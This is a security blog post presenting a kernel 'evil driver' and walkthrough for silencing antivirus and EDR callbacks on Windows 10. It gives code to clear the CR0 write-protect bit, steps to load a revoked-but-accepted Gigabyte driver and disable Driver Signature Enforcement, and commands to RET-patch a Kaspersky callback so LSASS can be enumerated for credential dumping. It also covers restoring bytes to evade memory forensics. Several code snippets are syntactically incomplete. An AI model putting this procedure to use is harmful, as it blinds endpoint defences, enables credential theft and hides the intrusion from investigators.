Backround - TL;DR

This post is about resuming the very inspiring Rui’s piece on Windows Kernel’s callbacks and taking it a little further by extending new functionalities and build an all-purpose AV/EDR runtime detection bypass. Specifically, we are going to see how Kaspersky Total Security and Windows Defender are using kernel callbacks to either inhibit us from accessing LSASS loaded module or detect malicious activities. We’ll then use our evil driver to temporarily silence any registered AV’s callbacks and restore EDR original code once we are done with our task. The resulting tool has been tested on the following Windows 10 builds: 1903,1909 and 2004.

Why AVs use callbacks and mini-filters

For a long time Microsoft had being trying since long time to shift and confine any 3rd party ring0 code to anywhere else that is not the kernel itself. This is for obvious reasons, mainly to disallow other parties messing around with kernel code and avoid giving them access to KPP (Kernel Patch Protection) bypasses. Because of this, EDR vendors are forced to adopt other means to interact with the kernel, namely callbacks and minifilters. The purpose of Minifilters drivers is to intercept filesystem I/O requests and extend or replace the native functionalities. Meanwhile, callbacks are the one needed to intercept process/threads creation and image loading.

Evil-driver: new features, installation and usage.

To me the best way to learn a topic is to build up from the theory and put it into something tangible, otherwise brain’s phosphorus won’t do its job. I so decided to continue on Rui’s Evil driver and adding support for thread and image load callbacks suppression, as well as compatibility with the latest windows 10 releases. On top of this I have also included the option to rollback any change made after having patched (RET) the target callback.

So let’s get our hands dirty and see what can be accomplished with the evil driver. Grab a copy of the Visual Studio project here, compile it for x64, Debug Mode. Debug mode will enable KdPrint statements and allow us to observe driver’s behavior via either (DebugView)[https://docs.microsoft.com/en-us/sysinternals/downloads/debugview] from SysInternals or through a WinDbg remote kernel session.

A successful compilation will have generated two binaries: the evilcli.exe user mode command line interface and the evil.sys driver itself. Since our driver is not signed, before proceeding with any installation, we need to enable test mode from an elevated cmd with Bcdedit.exe -set TESTSIGNING ON and reboot the machine. Later on we are going to see how to deliver the very same driver in a normal scenario, without testsigning being enabled.

The CLI is equipped with the following options:

Usage: evilcli.exe <options>
  -h            Show this message.
  -l            Process, Thread & LoadImage Notify Callbacks Address's List.
<Process Callbacks>
  -zp           Zero out Process Notify Callback's Array (Cowboy Mode).
  -dp <index>   Delete Specific Process Notify Callback (Red Team Mode).
  -pp <index>   Patch Specific Process Notify Callback (Threat Actor Mode).
  -rp <index>   Rollback to the original Process Notify Callback (Thoughtful Ninja Mode).
<Threads Callbacks>
  -zt           Zero out Thread Notify Callback's Array (Cowboy Mode).
  -dt <index>   Delete Specific Thread Notify Callback (Red Team Mode).
  -pt <index>   Patch Specific Thread Notify Callback (Threat Actor Mode).
  -rt <index>   Rollback to the original Thread Notify Callback (Thoughtful Ninja Mode).
<LoadImage Callbacks>
  -zl           Zero out Thread Notify Callback's Array (Cowboy Mode).
  -dl <index>   Delete Specific Thread Notify Callback (Red Team Mode).
  -pl <index>   Patch Specific Thread Notify Callback (Threat Actor Mode).
  -rl <index>   Rollback to the original Thread Notify Callback (Thoughtful Ninja Mode).

Most of them have been already largely covered by Rui’s post, so I will simply highlight the possibility of restoring a patched callback with either rp or rt depending on whether is related to a process or thread.

We should remember that this battle is fought between two entities running with the same ring0 ground, so it’s a zero-sum game. So as a disclaimer, the evil driver will only succeed on any system without HyperV enabled.

HyperGuard and KPP are barking at us

If HyperV is enabled on the system, it will detect any kernel or driver alteration at runtime and will immediately shred our dreams of persistence with a well-deserved System Service Exception BSOD. More on HyperV and its security features will probably come in a dedicated post. In the meanwhile, in order to continue playing with our driver we need to disable the hypervisor with bcdedit /set hypervisorlaunchtype off and power-cycle it.

Nevertheless, we still need to find a method to let our kernel-patching coexists with KPP, alias PatchGuard. In short, KPP tries to prevent any critical kernel structure modification by bug checking any attempt to it. Still, this check is triggered by unsynchronized timers, as already documented in many different places, notably uninformed and tetrane. We’ll see how to work around PatchGuard in a moment, after dealing with a more urgent hurdle.

Inhibit WriteProtect at will

The obstacle we have to overcome is that our target callbacks reside in READONLY kernel memory pages. And those pages cannot clearly be modified with our patch.

lkd> !pte 0xfffff80267fdd670
                                           VA fffff80267fdd670
PXE at FFFF85C2E170BF80    PPE at FFFF85C2E17F0048    PDE at FFFF85C2FE0099F8    PTE at FFFF85FC0133FEE8
contains 0000000005108063  contains 0000000005109063  contains 0000000005219063  contains 09000000035C5021
pfn 5108      ---DA--KWEV  pfn 5109      ---DA--KWEV  pfn 5219      ---DA--KWEV  pfn 35c5      ----A--KREV

The PTE is indeed READONLY (R flag in ----A--KREV) and if we are stubborn enough to mess with it, we’ll get bounced by BSOD.

Well, how do we make our page writable then? Our holy grail is the CR0 register, which is one of the other control registers, which is responsible for determining the operating mode of the processor and the characteristics of the current thread. Register’s bit number 16 is the WP (Write Protect) flag, the one that we need to clear. We then poison CR0 16th bit by using the following MDL (Memory Descriptor List) as a struct to represent the register layout

typedef union {
	struct {
		UINT64 protection_enable : 1;
		UINT64 monitor_coprocessor : 1;
		UINT64 emulate_fpu : 1;
		UINT64 task_switched : 1;
		UINT64 extension_type : 1;
		UINT64 numeric_error : 1;
		UINT64 reserved_1 : 10;
		UINT64 write_protect : 1;
		UINT64 reserved_2 : 1;
		UINT64 alignment_mask : 1;
		UINT64 reserved_3 : 10;
		UINT64 not_write_through : 1;
		UINT64 cache_disable : 1;
		UINT64 paging_enable : 1;

	UINT64 flags;
} cr0;

And removing the write protect flag from CR0.

void CR0_WP_OFF_x64()
	cr0 mycr0;
	mycr0.flags = __readcr0();
	mycr0.write_protect = 0;

While not forgetting to apply the change on each logical processor and restore the usermode thread affinity.

int LogicalProcessorsCount = KeQueryActiveProcessorCount

for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++)
	KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex));

Knowing we don’t have to deal with an instant detection method (KPP), we can build our kernel data structure modification strategy around these points:

  • Clear the WP bit from the write-only page on each core
  • Do our stuff
  • Restore the WP bit

We could have achieved the same synchronization primitive by using the ‘Hoglund’ way via NOPped DPC and increasing/decreasing IRQL, but it is a less elegant solution since it partially halting the system.

UPDATE: The above sentence is not entirely correct: Hoglund’s synchronization primitive is employed to achieve a mutex-like independent access on a shared kernel object in a multicore system (i.e. EPROCESS), whereas swapping thread affinity is done with the purpose of running the same thread on each CPU to alter a CPU-specific value (CR0 in this case).

The only risk we could incur is to meet a KPP check while writing to the page, but I am confident that the odds are pretty low ☺️ Excellent. Now we have enough powers to patch our beloved callbacks, restore their original code or even erase them all. Forgot anything? Well, due to our unsigned driver we are still forced to operate under the TESTSIGNING, so a real-world system will defeat our attack due to Driver Signature Enforcement. Do we have any ace left up our sleeve?

Gigabyte driver gone? Not really!

What if a legitimately signed driver is vulnerable to a Write-What-Where vulnerability that allows us to overwrite kernel memory space, and disable Driver Signature Enforcement?

For many years now this has been the case of a the well-known vulnerable GigaByte driver, which has been used for different purposes, from disabling videogames anti-cheating to ransomware.

Anyway, our sole goal here is to disable code integrity as a whole, and this can be done by just editing the CI!g_CiOptions global value (more info on this on Rui’s post). In order to do that we just need to grab this and we can disable CI.

But how come is that we are still able to register, install and run a driver with a revoked certificate? Shouldn’t we be blocked? Even if we test with SecureBoot enabled, as MSDN suggest, we are still able to circumvent the control and load the driver.

>signtool.exe verify /v /kp GIO.sys

Verifying: GIO.sys

Signature Index: 0 (Primary Signature)
Hash of file (sha1): 0F5034FCF5B34BE22A72D2ECC29E348E93B6F00F

Signing Certificate Chain:
    Issued to: Class 3 Public Primary Certification Authorityi
    Issued by: Class 3 Public Primary Certification Authority
    Expires:   Wed Aug 02 01:59:59 2028
    SHA1 hash: 742C3192E607E424EB4549542BE1BBC53E6174E2

        Issued to: VeriSign Class 3 Code Signing 2009-2 CA
        Issued by: Class 3 Public Primary Certification Authority
        Expires:   Tue May 21 01:59:59 2019
        SHA1 hash: 12D4872BC3EF019E7E0B6F132480AE29DB5B1CA3

            Issued to: Giga-Byte Technology
            Issued by: VeriSign Class 3 Code Signing 2009-2 CA
            Expires:   Fri Oct 18 01:59:59 2013
            SHA1 hash: 32DAEE48AE406222C2BB92C4F1B7F516E537175A
The signature is timestamped: Thu Jul 04 05:32:11 2013

SignTool Error: WinVerifyTrust returned error: 0x800B010C
        A certificate was explicitly revoked by its issuer.

Number of files successfully Verified: 0
Number of warnings: 0
Number of errors: 1

Why is that?

If we check MSDN exceptions from signing policy we notice that:

- The PC was upgraded from an earlier release of Windows to Windows 10, version 1607.
- Secure Boot is off in the BIOS.
- Driver was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA

We comply on the first two, but the third point is the one that gets us out of jail free, as the driver’s timestamp is prior to 7/29/2015. Basically, due to compatibility reasons, any cross-signed driver that has been signed prior to that date AND its certificate has been revoked, will still be allowed (unless MS will change this policy). There are actually two different versions of this driver out there, though one is newer (signed after 2015), which won’t load without TESTSIGNING mode. So the good news is that even if the cert is revoked, we can still load it if UEFI SecureBoot is enabled.

Disabling Kaspersky Total Security LSASS enumeration and Windows Defender runtime detection

Disclaimer: the evasion technique below will work only on novel malware - anything detected by a signature (i.e Mimikatz) AND not packed, will of course be immediately blocked by the minifilter driver.

Historically, Kaspersky Total Security had been quite effective in stopping any LSASS credential dumper (like Mimikatz) from enumerating LSASS process modules. With our evildriver we can patch the main EDR’s process callback responsible from blocking process module enumeration.

Given all the above, we can then proceed as follows:

  • Install and start the gdrv.sys driver from an elevated prompt
sc create gdrv type= kernel binPath= c:\path\to\file\gdrv.sys
sc start gdrv
  • Run the Gigabyte_CI.exe and disable driver’s signature CI
C:\Users\matteo\Desktop\Debug>Gigabyte_CI.exe -l
Build 18363
FFFFF8045CFD0000 (CI.dll)
FFFFF8045D011130 (Ci!CiInitialize)
FFFFF8045D007278 (CI!g_CiOptions)

C:\Users\matteo\Desktop\Debug>Gigabyte_CI.exe -d
[+] Driver Signing has been DISABLED!
  • Install and start the evildriver.sys driver from elevated prompt
sc create evil type= kernel binPath= c:\path\to\file\evildriver.sys
sc start evil
  • Interact with the evil driver by inspecting the registered callbacks on the system
C:\Users\matteo\Desktop\Debug>evilcli.exe -l
[00] 0xfffff8012154a340 (ntoskrnl.exe + 0x34a340)
[01] 0xfffff801250f4dc0 (cng.sys + 0x14dc0)
[02] 0xfffff80125548610 (klupd_klif_arkmon.sys + 0x18610)
[03] 0xfffff80124f3d870 (ksecdd.sys + 0x1d870)
[04] 0xfffff80126390960 (tcpip.sys + 0x60960)
[05] 0xfffff801269ed930 (iorate.sys + 0xd930)
[06] 0xfffff80125067fc0 (CI.dll + 0x77fc0)
[07] 0xfffff80127161600 (klflt.sys + 0x11600)
[08] 0xfffff801272189d0 (dxgkrnl.sys + 0x89d0)
[09] 0xfffff801283d47f0 (kldisk.sys + 0x47f0)
[10] 0xfffff80127ac9e90 (vm3dmp.sys + 0x9e90)
[11] 0xfffff801294e3ce0 (peauth.sys + 0x43ce0)
[12] 0xfffff8012531f9a0 (mssecflt.sys + 0x1f9a0)
  • Disable the desired callback by placing a RET (C3) instruction at the same offset. This way the callback will just return to the caller and skip any subsequent code. Don’t use any other option (-z or -d) as they might corrupt the system.
C:\Users\matteo\Desktop\Debug>evilcli.exe -p 7
Patching index: 7 with a RET (0xc3)
  • Perform our task

  • Restore the callback to its original state. (NOTE: most AV/EDR don’t have code integrity, but it’s better to be safe than sorry, especially to avoid leaving any trace after a forensic memdump).

C:\Users\matteo\Desktop\Debug>evilcli.exe -r 7
Rolling back patched index: 7 to the original values
  • Stop and unregister the x2 drivers.
sc stop evil
sc stop gdrv
sc delete gdrv
sc delete evil

I leave the MS Defender evasion as an exercise for the reader ;)

Note: As per July 2020, the only supported SDK/WDK version of the project is 18346.


  • Thanks to Rui Reis for the initial idea and chats along the road.
  • Big shout-out to Pavel Yosifovich’s kernel internals book which made all this effort more bearable.